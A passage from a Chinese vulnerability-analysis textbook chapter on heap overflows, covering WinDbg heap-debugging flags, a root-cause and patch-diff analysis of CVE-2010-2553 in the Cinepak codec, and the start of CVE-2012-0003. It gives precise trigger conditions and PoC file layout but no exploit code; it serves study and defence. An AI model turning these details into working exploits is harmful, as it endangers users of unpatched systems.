    {"text": "比如要针对app.exe程序添加堆尾检查功能和页堆，去掉堆标志，可以执行以下命令： 0:003> !gflag -i app.exe +htc +hpa -htg 或者 gflags.exe -i app.exe +htc +hpa -htg 80 漏洞战争：软件漏洞分析精要 在堆漏洞调试中，较为常用的是htc、hpc、hfc和hpa。"},
    {"text": "3.3.1 堆尾检查 堆尾检查主要是在每个堆块的尾部，即用户数据之后添加8字节内容，通常为连续的2个 0xabababab，如果该段数据被破坏就说明可能存在堆溢出。"},
    {"text": "若需要检测堆尾的附加数据是否被覆盖， 还需要开启堆参数检查hpc或者堆释放检查hfc，在下面的heapoverflow.exe例子中我们开启hpc和htc 就足够了。 首先，用WinDbg加载heapoverflow.exe（如果先运行再用WinDbg附加进程开启，就无法 在堆尾添加额外的标记信息，也就无法进行堆尾检查），执行以下命令开启堆尾检查和堆参数检查： 0:000> !gflag +htc +hpc New NtGlobalFlag contents: 0x00000050 htc - Enable heap tail checking hpc - Enable heap parameter checking 执行g命令后，在cmd运行窗口中按下回车键后断下（程序中使用getchar函数的缘故）： 0:000> g ModLoad: 758a0000 758eb000 C:\\Windows\\system32\\apphelp.dll ModLoad: 502b0000 50509000 C:\\Windows\\AppPatch\\AcXtrnal.DLL FTH: (5116): *** Fault tolerant heap shim applied to current process. This is usually due to previous crashes. *** HEAP[heapoverflow.exe]: Heap block at 005E0588 modified at 005E05A0 past requested size of 10 (13fc.19c8): Break instruction exception - code 80000003 (first chance) eax=005e0588 ebx=005e05a0 ecx=778e0535 edx=0012fafd esi=005e0588 edi=00000010 eip=77985204 esp=0012fd44 ebp=0012fd44 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!RtlpBreakPointHeap+0x23: 77985204 cc int 3 0:000> kb ChildEBP RetAddr Args to Child 0012fd44 7796da8f 005e0588 005e0000 005e0588 ntdll!RtlpBreakPointHeap+0x23 0012fd5c 7794fb7e 00000000 005e0588 005e0588 ntdll!RtlpCheckBusyBlockTail+0x171 0012fd7c 7798625f 005e0000 005e0588 7790f81a ntdll!RtlpValidateHeapEntry+0x116 0012fdc4 77947a12 005e0000 50000067 005e0590 ntdll!RtlDebugFreeHeap+0x9a 0012feb8 77912bf0 005e0588 005e0590 0012ff49 ntdll!RtlpFreeHeap+0x5d 0012fed8 502b9ed9 005e0000 00000000 005e0590 ntdll!RtlFreeHeap+0x142 0012fef0 7718f14c 005e0000 00000000 005e0590 AcXtrnal!NS_FaultTolerantHeap::APIHook_RtlFreeHeap+0x61 第3章 堆溢出漏洞分析 81 *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 0012ff04 00401094 005e0000 00000000 005e0590 kernel32!HeapFree+0x14 WARNING: Stack unwind information not available. Following frames may be wrong. 0012ff48 00401327 00000001 00231250 002312e8 image00400000+0x1094 0012ff88 77191114 7ffff000 0012ffd4 7791b299 image00400000+0x1327 0012ff94 7791b299 7ffff000 76ee2b94 00000000 kernel32!BaseThreadInitThunk+0xe 0012ffd4 7791b26c 00401273 7ffff000 00000000 ntdll!__RtlUserThreadStart+0x70 0012ffec 00000000 00401273 7ffff000 00000000 ntdll!_RtlUserThreadStart+0x1b 上面加粗的调试信息是指在大小为0x10的堆块0x005E0588的0x005E05A0覆盖破坏，0x10大小的 空间加上堆头8字节的HEAP_ENTRY结构共0x18字节，因此0x005E05A0-0x005E0588=0x18，即 0x005E05A0位于堆块数据的最后一个字节。"},
    {"text": "3.3.2 页堆 在调试漏洞时，我们常常需要定位到导致漏洞的代码或者函数，比如导致堆溢出的字节复制指 令rep movsz等，而前面的堆尾检查方式主要是堆被破坏后的场景，不利于定位导致漏洞的代码。"},
    {"text": "图3-3 开启页堆 用WinDbg加载heapoverflow.exe，运行!gflag命令查看是否已开启页堆： 0:000> !gflag Current NtGlobalFlag contents: 0x02000000 hpa - Place heap allocations at ends of pages 运行后在cmd窗口按回车键确认后断下： 0:000> g (1990.e5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 82 漏洞战争：软件漏洞分析精要 eax=00000021 ebx=016a5ff0 ecx=00000004 edx=76e26194 esi=0012ff38 edi=016a6000 eip=00401084 esp=0012ff10 ebp=016a0000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 image00400000+0x1084: 00401084 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> dc esi 0012ff38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0012ff48 00407000 00401327 00000001 01489f80 .p@.'.@.......H. 0012ff58 0148bf60 00000000 00000000 7ffff000 `.H............. 0012ff68 00000000 00000000 0012ff5c 00000000 ........\\....... 0012ff78 0012ffc4 00402c50 004060b8 00000000 ....P,@..`@..... 0012ff88 0012ff94 76bc1114 7ffff000 0012ffd4 .......v........ 0012ff98 76e3b299 7ffff000 76abd098 00000000 ...v.......v.... 0012ffa8 00000000 7ffff000 00000000 00000000 ................ 0:000> dc edi 016a6000 ???????? ???????? ???????? ???????? ???????????????? 016a6010 ???????? ???????? ???????? ???????? ???????????????? 016a6020 ???????? ???????? ???????? ???????? ???????????????? 016a6030 ???????? ???????? ???????? ???????? ???????????????? 016a6040 ???????? ???????? ???????? ???????? ???????????????? 016a6050 ???????? ???????? ???????? ???????? ???????????????? 016a6060 ???????? ???????? ???????? ???????? ???????????????? 016a6070 ???????? ???????? ???????? ???????? ???????????????? 我们可以看到，程序在复制A字符串的过程中触发异常，示例程序heapoverflow中分配有0x10字 节的堆块，在程序复制第0x11时被断下（未完成此复制），此时的异常场景还未破坏到堆块，基本 保留着最原始的漏洞场景，直接定位到导致溢出的复制指令rep movs，这对于我们分析漏洞成因相当 有帮助。 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0012ff48 00401327 00000001 01489f80 0148bf60 image00400000+0x1084 0012ff88 76bc1114 7ffff000 0012ffd4 76e3b299 image00400000+0x1327 0012ff94 76e3b299 7ffff000 76abd098 00000000 kernel32!BaseThreadInitThunk+0xe 0012ffd4 76e3b26c 00401273 7ffff000 00000000 ntdll!__RtlUserThreadStart+0x70 0012ffec 00000000 00401273 7ffff000 00000000 ntdll!_RtlUserThreadStart+0x1b 0:000> ub image00400000+0x1327 image00400000+0x1301: 00401301 e847120000 call image00400000+0x254d (0040254d) 第3章 堆溢出漏洞分析 83 00401306 e8af0e0000 call image00400000+0x21ba (004021ba) 0040130b a150994000 mov eax,dword ptr [image00400000+0x9950 (00409950)] 00401310 a354994000 mov dword ptr [image00400000+0x9954 (00409954)],eax 00401315 50 push eax 00401316 ff3548994000 push dword ptr [image00400000+0x9948 (00409948)] 0040131c ff3544994000 push dword ptr [image00400000+0x9944 (00409944)] 00401322 e8d9fcffff call image00400000+0x1000 (00401000) 根据栈回溯可知，调用rep movs的上一层函数位于 image00400000+0x1327的上一条指令，即 0x00401322，此处调用0x00401000函数。"},
    {"text": "跟进0x00401000函数，很容易发现该函数即为示例程序的 主入口函数： 0:000> uf 00401000 image00400000+0x1000: 00401000 83ec24 sub esp,24h 00401003 b908000000 mov ecx,8 00401008 53 push ebx 00401009 55 push ebp 0040100a 56 push esi 0040100b 57 push edi 0040100c be44704000 mov esi,offset image00400000+0x7044 (00407044) 00401011 8d7c2410 lea edi,[esp+10h] 00401015 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 00401017 68ffff0000 push 0FFFFh 0040101c 6800100000 push 1000h //堆块大小 00401021 6a04 push 4 00401023 a4 movs byte ptr es:[edi],byte ptr [esi] 00401024 ff150c604000 call dword ptr [image00400000+0x600c (0040600c)] //调用 HeapCreate 函数创建 0x1000 大小的堆块 0040102a 8be8 mov ebp,eax 0040102c a16c704000 mov eax,dword ptr [image00400000+0x706c (0040706c)] 00401031 48 dec eax 00401032 a36c704000 mov dword ptr [image00400000+0x706c (0040706c)],eax 00401037 7808 js image00400000+0x1041 (00401041) image00400000+0x1039: 00401039 ff0568704000 inc dword ptr [image00400000+0x7068 (00407068)] 0040103f eb0d jmp image00400000+0x104e (0040104e) image00400000+0x1041: 00401041 6868704000 push offset image00400000+0x7068 (00407068) 00401046 e896000000 call image00400000+0x10e1 (004010e1) // getchar 函数 84 漏洞战争：软件漏洞分析精要 0040104b 83c404 add esp,4 image00400000+0x104e: 0040104e 6a10 push 10h 00401050 6a00 push 0 00401052 55 push ebp 00401053 ff1508604000 call dword ptr [image00400000+0x6008 (00406008)] // 调用 HeapAlloc 分配 0x10 的堆块 00401059 8bd8 mov ebx,eax // 分配的堆块地址 0040105b 53 push ebx 0040105c 6830704000 push offset image00400000+0x7030 (00407030) 00401061 e84a000000 call image00400000+0x10b0 (004010b0) // printf 函数 00401066 8d7c2418 lea edi,[esp+18h] 0040106a 83c9ff or ecx,0FFFFFFFFh 0040106d 33c0 xor eax,eax 0040106f 83c408 add esp,8 00401072 f2ae repne scas byte ptr es:[edi] 00401074 f7d1 not ecx // 获取 str 的长度 00401076 2bf9 sub edi,ecx 00401078 53 push ebx 00401079 8bc1 mov eax,ecx 0040107b 8bf7 mov esi,edi // str 长度 = 0x20 0040107d 8bfb mov edi,ebx // 分配的堆块地址（只有 0x10 大小） 0040107f 6a00 push 0 00401081 c1e902 shr ecx,2 00401084 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] // 0x10<0x20 循环复制 导致溢出！ 00401086 8bc8 mov ecx,eax 00401088 55 push ebp 00401089 83e103 and ecx,3 0040108c f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 0040108e ff1504604000 call dword ptr [image00400000+0x6004 (00406004)] 00401094 55 push ebp 00401095 ff1500604000 call dword ptr [image00400000+0x6000 (00406000)] 0040109b 5f pop edi 0040109c 5e pop esi 0040109d 5d pop ebp 0040109e 33c0 xor eax,eax 004010a0 5b pop ebx 004010a1 83c424 add esp,24h 004010a4 c3 ret 第3章 堆溢出漏洞分析 85 3.4 CVE-2010-2553 Microsoft Cinepak Codec CVDecompress函数堆溢出漏洞 3.4.1 漏洞描述 微软提供有Cinepak视频编解码器（iccvid.dll），其CVDecompress函数在解压缩媒体文件时，由 于未对缓冲区大小进行检测，导致在复制压缩数据时造成堆溢出，利用漏洞可造成程序崩溃或者执 行任意代码。"},
    {"text": "（1）利用 OD 或 ImmDbg 调试器加载 iccvid.dll，按 F9 键运行后对地址 0x73b7cbee 下断，然后附加 wmplayer.exe 进程，运行后打开 poc.avi 就会断在 0x73b7cbee 地址上。 （2）利用 WinDbg 的 sxe ld:ModuleName 命令在首次加载 iccvid.dll 时断下，然后再对 0x73b7cbee 下 断。"},
    {"text": "这里就需要从AVI的Cinepak压缩格式开始 分析，关于Cinepak（CVID）的压缩格式可参考文章 Cinepak (CVID) stream format for AVI and QT ，链接 见：http://multimedia.cx/mirror/cinepak.txt，Cinepak（CVID）压缩格式的总体框架如图3-4所示。"},
    {"text": "图3-5 Freame Header格式 第3章 堆溢出漏洞分析 93 在poc.avi中的cinepak_codec_data1就是Cinepak数据的开始，即Frame_Header = cinepak_codec_ data1 + number_of_coded_strips，因此各字段值对应如下： Flag = 00 CVID 数据长度 = 00 00 68 编码帧（coded frame）宽度 = 01 60 编码帧高度 = 01 20 编码条（coded strip）数量 = 00 10 所以，在前面调试分析时，我们才可以知道0x68代表着CVID数据长度。"},
    {"text": "接下来，我们继续分析， 为方便阅读代码，此处直接贴IDA反汇编代码： .text:73B72208 mov cl, [esi] .text:73B7220A mov byte ptr [ebp+arg_8+3], cl ; cl = 0 .text:73B7220D lea ecx, [ebp+var_10] .text:73B72210 push ecx ; ecx=0 .text:73B72211 push 0Ah .text:73B72213 push eax ; eax=0x68 .text:73B72214 call _ULongSub@12 ; ULongSub(x,x,x) .text:73B72219 test eax, eax ; eax=0 .text:73B7221B jl loc_73B723F4 .text:73B72221 xor eax, eax .text:73B72223 mov ah, [esi+8] ; 0 .text:73B72226 add esi, 0Ah ; esi 指向 cinepak_codec_data2 .text:73B72229 mov [ebp+var_14], edi ; edi=0 .text:73B7222C mov [ebp+var_18], esi .text:73B7222F mov [ebp+var_C], esi .text:73B72232 mov al, [esi-1] ; al = 0x10，即编码条数量 .text:73B72235 cmp eax, edi ; 判断编码条数量是否大于 0 .text:73B72237 mov [ebp+var_1C], eax .text:73B7223A jle loc_73B723EA ; 不跳转 .text:73B72240 mov [ebp+var_4], edi 继续回头看下Cinepak（CVID）压缩格式，在Frame Header之后是一些编码条，每一个编码条包 含Header和CVID Chunk两部分，CodeBooks和Frame Vectors就包含在CVID Chunk部分，编码条各字 段的含义如图3-6所示（由于缺乏较为详细的格式资料，若格式有误欢迎指正）。"},
    {"text": "在每次 循环复制0x800字节数据时，目标地址都会递增0x2000，目标堆块的大小为0x6000，因此只要令Chunk ID 0x1100的数据块超过3个即可造成堆溢出。"},
    {"text": "处理第1个0x1100类型的Chunk时： 0:015> p eax=00002000 ebx=027f4e30 ecx=00004141 edx=02b8fd38 esi=00ec8712 edi=00000000 第3章 堆溢出漏洞分析 99 eip=73b722b6 esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x108: 73b722b6 803e11 cmp byte ptr [esi],11h ds:0023:00ec8712=11 // 判断 Chunk ID 是否为 0x1100 0:015> dd esi 00ec8712 10000011 41414141 41414141 41414141 00ec8722 10000011 41414141 41414141 41414141 00ec8732 10000011 41414141 41414141 41414141 00ec8742 10000011 64690041 00103178 30300000 00ec8752 00106364 00040000 00680000 00000000 00ec8762 00000000 00000000 00000000 00000000 00ec8772 00000000 00000000 00000000 00000000 00ec8782 00000000 00000000 00000000 00000000 0:015> p eax=00002000 ebx=027f4e30 ecx=00004141 edx=02b8fd38 esi=00ec8712 edi=00000000 eip=73b722b9 esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x10b: 73b722b9 7516 jne iccvid!CVDecompress+0x123 (73b722d1) [br=0] 0:015> p eax=00002000 ebx=027f4e30 ecx=00004141 edx=02b8fd38 esi=00ec8712 edi=00000000 eip=73b722bb esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x10d: 73b722bb 8b4b1c mov ecx,dword ptr [ebx+1Ch] ds:0023:027f4e4c=00177008 0:015> p eax=00002000 ebx=027f4e30 ecx=00177008 edx=02b8fd38 esi=00ec8712 edi=00000000 eip=73b722be esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x110: 73b722be 8d3c01 lea edi,[ecx+eax] // 目标地址每次递增 0x2000 0:015> p eax=00002000 ebx=027f4e30 ecx=00177008 edx=02b8fd38 esi=00ec8712 edi=00179008 eip=73b722c1 esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x113: 73b722c1 b900080000 mov ecx,offset <Unloaded_i.dll>+0x7ff (00000800) 0:015> p 100 漏洞战争：软件漏洞分析精要 eax=00002000 ebx=027f4e30 ecx=00000800 edx=02b8fd38 esi=00ec8712 edi=00179008 eip=73b722c6 esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x118: 73b722c6 8db700e0ffff lea esi,[edi-2000h] 0:015> p eax=00002000 ebx=027f4e30 ecx=00000800 edx=02b8fd38 esi=00177008 edi=00179008 eip=73b722cc esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x11e: 73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] // 复制数据 0:015> !heap -p -a edi address 00179008 found in _HEAP @ 90000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00177000 0c01 0000 [01] 00177008 06000 - (busy) ? <Unloaded_i.dll>+930092 0:015> ? edi Evaluate expression: 1552392 = 00179008 处理第2个0x1100类型的Chunk时： 0:015> p eax=00004000 ebx=027f4e30 ecx=00000800 edx=02b8fd38 esi=00179008 edi=0017b008 eip=73b722cc esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x11e: 73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:015> ? edi Evaluate expression: 1552392 = 0017b008 处理第3个0x1100类型的Chunk时： 0:015> p eax=00006000 ebx=027f4e30 ecx=00000800 edx=02b8fd38 esi=0017b008 edi=0017d008 eip=73b722cc esp=02b8fd04 ebp=02b8fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid!CVDecompress+0x11e: 73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:015> ? edi Evaluate expression: 1560584 = 0017d008 第3章 堆溢出漏洞分析 101 目标地址每次递增0x2000，而其堆块大小为0x6000，由于程序未限制循环递增的次数，当超过3 次时就会超出目标堆的大小，最终造成堆溢出！"},
    {"text": "分析总结：程序在处理Cinepak压缩数据时，当CVID数据长度≥0x20，编码条数量超过3个时， 若编码条中Chunk ID为0x1100的CVID Chunk≥3个，同时每次循环操作时未解压的数据超过0x16， 那么在复制数据时就可导致堆溢出，因为目标地址每次操作时都会递增0x2000（首次为0），而其大 小只有0x6000，循环递增3次后就会导致堆溢出。"},
    {"text": "在第2章中，我们已经讲过BinDiff的使用，这里再介绍一款免费的补丁比对工具Turbodiff， 也是IDA插件，具体操作步骤如下。 （1） 将 turbodiff.plw 放置在 IDA 安装目录里的 Plugins 目录，在菜单中即可直接使用。 （2） 用 IDA（笔者分析时用 IDA5.5，现在（2016/5/21）最新版是 6.9）打开漏洞版 iccvid.dll，然后 选择“Edit”→“Plugins”→“turbodiff v1.01b r1”，或者直接按“Ctrl+F11”组合键，在弹出 “Choose operation”选择框后，选择“take info from this idb”选项，如图 3-7 所示。"},
    {"text": "（3） 按第 2 步操作打开修复版 iccvid.dll 执行相同操作，打开时记得保存前面的漏洞版 iccvid.idb，然 后按“Ctrl+F11”组合键，在弹出的“Choose operation”选择框中选择“compare with…”选项， 选中“漏洞版 iccvid.ib”打开即可自动比对。"},
    {"text": "图3-7 Choose operation选择框 图3-8 Take the analysis选择框 102 漏洞战争：软件漏洞分析精要 图3-9 Turbodiff分析结果 图3-10 代码流程图比对 在图3-10中右边上方的代码块就是添加的补丁代码。"},
    {"text": "下面是WinDbg对修复版程序的调试情况， 直接对右上方的代码地址0x73b72221下断： 第3章 堆溢出漏洞分析 103 0:012> bp 73b72221 0:014> g Breakpoint 0 hit eax=00000000 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72221 esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x2221: 73b72221 33c0 xor eax,eax 0:014> p eax=00000000 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72223 esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x2223: 73b72223 8a6608 mov ah,byte ptr [esi+8] ds:0023:00ec7b00=00 0:014> p eax=00000000 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72226 esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x2226: 73b72226 6a03 push 3 0:014> p eax=00000000 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72228 esp=02a3fd00 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x2228: 73b72228 8a4609 mov al,byte ptr [esi+9] ds:0023:00ec7b01=10 0:014> dd esi+9 // 这里刚好指向编码条数量 00ec7b01 00001010 00000010 01600000 00002060 00ec7b11 00001100 41414110 41414141 41414141 00ec7b21 00001141 41414110 41414141 41414141 00ec7b31 00001141 41414110 41414141 41414141 00ec7b41 00001141 69004110 10317864 30000000 00ec7b51 10636430 04000000 68000000 00000000 00ec7b61 00000000 00000000 00000000 00000000 00ec7b71 00000000 00000000 00000000 00000000 0:014> p eax=00000010 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b7222b esp=02a3fd00 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x222b: 73b7222b 8945f8 mov dword ptr [ebp-8],eax ss:0023:02a3fd28=00ff0000 104 漏洞战争：软件漏洞分析精要 0:014> p eax=00000010 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b7222e esp=02a3fd00 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x222e: 73b7222e 58 pop eax 0:014> p eax=00000003 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b7222f esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iccvid+0x222f: 73b7222f 3945f8 cmp dword ptr [ebp-8],eax ss:0023:02a3fd28=00000010 // 限制 编码条数量小于等于 3 ，超过 3 则强制修改为 3 0:014> p eax=00000003 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72232 esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000212 iccvid+0x2232: 73b72232 7e03 jle iccvid+0x2237 (73b72237) [br=0] 0:014> p eax=00000003 ebx=00181dd8 ecx=0000005e edx=02a3fd1c esi=00ec7af8 edi=00000000 eip=73b72234 esp=02a3fd04 ebp=02a3fd30 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000212 iccvid+0x2234: 73b72234 8945f8 mov dword ptr [ebp-8],eax ss:0023:02a3fd28=00000010 补丁代码主要对编码条数量进行限制，只允许其小于等于3，若超过则强制修改为3。 这样的话， 程序最多只循环3次来处理数据，根据前面的分析可以知道，第1次目标地址不递增，第2次会递增 0x2000，第3次也会递增0x2000，那么目标地址edi共递增0x4000，而edi所在堆块共有0x6000字节， 复制数据大小为0x800，那么edi + 0x4000 + 0x800 < edi + 0x6000，将不再造成堆溢出。"},
    {"text": "3.5 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出漏洞 3.5.1 关于“蜘蛛”漏洞攻击包（Zhi-Zhu Exploit Pack） 2012年2月，地下黑产中流行着一款国产漏洞攻击包—“Zhi-Zhu Exploit Pack”，即蜘蛛漏洞 攻击包，该工具包含5个漏洞，虽然漏洞少，但都是当时比较流行的，如Flash、IE等产品漏洞，其中 也包含CVE-2012-0003。"},
    {"text": "此国产漏洞利用包与国外的有一定区别，国外的经常用于构造僵尸网络或者 第3章 堆溢出漏洞分析 105 窃取重要情报，而“蜘蛛”这款漏洞攻击包主要用于盗取游戏账号，比如“龙之谷”，这似乎也比 较符合国情。"},
    {"text": "3.5.2 漏洞描述 CVE-2012-0003（MS12-004）漏洞是微软的多媒体库winmm.dll在处理MIDI文件时，由于对数据 处理不当导致的堆溢出，攻击者可在网页中嵌入恶意构造的MIDI文件来远程执行任意代码。"},
    {"text": "在微软 漏洞日发布该漏洞补丁后，国外著名安全团队VUPEN在其官方博客公布了该漏洞的成因及利用方法 （ Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004) ： http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003. php），其中的漏洞利用技术构造得相当精妙，堪称艺术，具体细节我们会在后面的漏洞利用一节中 讲述。"},
    {"text": "表 3-3 分析环境 推荐使用的环境 备注 操作系统 Windows XP 简体中文版 虚拟机工具 Oracle VM VirtualBox 版本号：4.1.8 r75467 播放器 Windows Media Player 版本号：10.00.00.4063 浏览器 Internet Exploror 版本号：6 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.1 补丁比较工具 Turbodiff 版本号：1.01b 3.5.4 MIDI文件格式 MIDI（Musical Instrument Digital Interface）乐器数字接口是一个通信标准，主要用于确定电脑 音乐程序、合成器和其他电子音响设备相互交换信息与控制信号的方法，MIDI文件格式主要用于音 乐软件和硬件设备存储歌曲信息，包括标题、曲目名称等，其中最重要的就是其指令（instrument） 及MIDI事件（event），比如回放歌曲时就需要记录音符（note）和指令控制信息。"},
    {"text": "MIDI文件结构由若干个块（Chunk）组成，主要分为包头块（Header Chunk）和音轨块（Track Chunk）两部分，每个块由块标记、块长度和块数据组成，其中块标记与块长度均占4字节，其格式 106 漏洞战争：软件漏洞分析精要 结构如表3-4所示。 表 3-4 MIDI 文件结构 块名称 块标记（4 字节） 块长度（4 字节） 块数据 头块 “MThd” 00 00 00 06 6 字节长度的数据 音轨块 1 “MTrk” 后面块数据的长度 音轨事件数据，按时间顺序排列 …… …… …… …… 音轨块 n “MTrk” 后面块数据的长度 音轨事件数据，按时间顺序排列 MIDI文件头信息主要包含歌曲的MIDI格式类型（format type）、音轨数（number of tracks）和 时间计数值（time division），其格式结构如表3-5所示。 表 3-5 MIDI 头块结构 偏移 长度 描述 数值 0x00 4 块标记 “MThd” 0x04 4 块长度 00 00 00 06 0x08 2 格式类型 0 ~ 2 0x10 2 音轨数 1 ~ 65535 0x12 2 时间计数值，即每拍的计数值 比如数值 0x60，即以八分音符为一拍 音轨块主要包含播放歌曲的数据信息，比如曲名、音乐事件等，在表3-4中已提到音轨块主要包 含块标记、块长度和音轨事件数据。"},
    {"text": "表 3-6 音轨事件结构 事件类型 格式 描述 关闭音符（Note Off） 0x8n note velocity n 代表通道号，note 代表音高数值，velocity 代表按 键速度 打开音符（Note On） 0x9n note velocity n 代表通道号，note 代表音高数值，velocity 代表按 键速度 触后音符（Note Aftertouch） 0xAn note amount n 代表通道号，note 代表音高数值，amount 代表按压 力度 控制器（Controler） 0xBn type value n 代表通道号，type 代表控制项，比如主音、延音等 音量大小的调节，value 即为设置值 音色切换（Program Change） 0xCn num n 代表通道号，num 代表音色号 触后通道（Channel Afertouch） 0xDn note amount n 代表通道号，note 代表音高数值，amount 代表按压 力度 滑音（Pitch Bend） 0xEn LSB MSB n 代表通道号，LSB 代表低位值，MSB 代表高位值 第3章 堆溢出漏洞分析 107 续表 事件类型 格式 描述 元事件（Meta Events） 0xFF type length data 用于设置时间记号、演奏速度、歌词等信息，其中 type 代表设置项，如曲名、版权等，length 代表后面数据 data 的长度 结束标志 FF 2F 00 音轨事件结束 通过上面对MIDI文件格式的分析，相信大家对MIDI的格式已经有所了解，更详细的信息可参考 MIDI File Format ，链接http://www.sonicspot.com/guide/midifiles.html。"},
    {"text": "C:\\Program Files\\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe + pa Current Registry Settings for IExplore.exe executable are: 02000000 hpa - Enable page heap 然后，用Immunity Debugger加载IE运行后，打开poc.html，会得到如图3-12所示的提示，单击“是” 按钮进行下一步操作。"},
    {"text": "108 漏洞战争：软件漏洞分析精要 图3-12 ActiveX控件执行安全提示 允许执行后会断在0x76B2D25C地址处： 76B2D25C 8A06 MOV AL,BYTE PTR DS:[ESI] ; 崩溃点！"},
    {"text": "ESI=DS:[07DA9019]=00 ; 由于设置页堆，这里的 esi 地址取值时会触发异常 AL=19 该地址位于函数sub_76B2D070中，即midiOutPlayNextPolyEvent函数（可通过加载微软官方的符 号表来识别函数名）。 现在我们用IDA6.1加载winmm.dll，直接按F5键查看midiOutPlayNextPolyEvent 函数对应的C代码，加粗代码是关键部分： void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam) { WPARAM v1; // edi@1 LPARAM v2; // esi@2 ……省略部分内容…… unsigned __int8 wParam_3a; // [sp+23h] [bp+Bh]@28 v1 = wParam; if ( !*(_DWORD *)(wParam + 52) ) { while ( 1 ) { while ( 1 ) { v2 = *(_DWORD *)(v1 + 0x3C); if ( !v2 ) return; if ( midiOutScheduleNextEvent(v1) ) break; 第3章 堆溢出漏洞分析 109 midiOutDequeueAndCallback(v1); } v3 = *(_DWORD *)v2; v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36)); v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128)); v5 = v4 == *(_DWORD *)(v1 + 128); v6 = v4 - *(_DWORD *)(v1 + 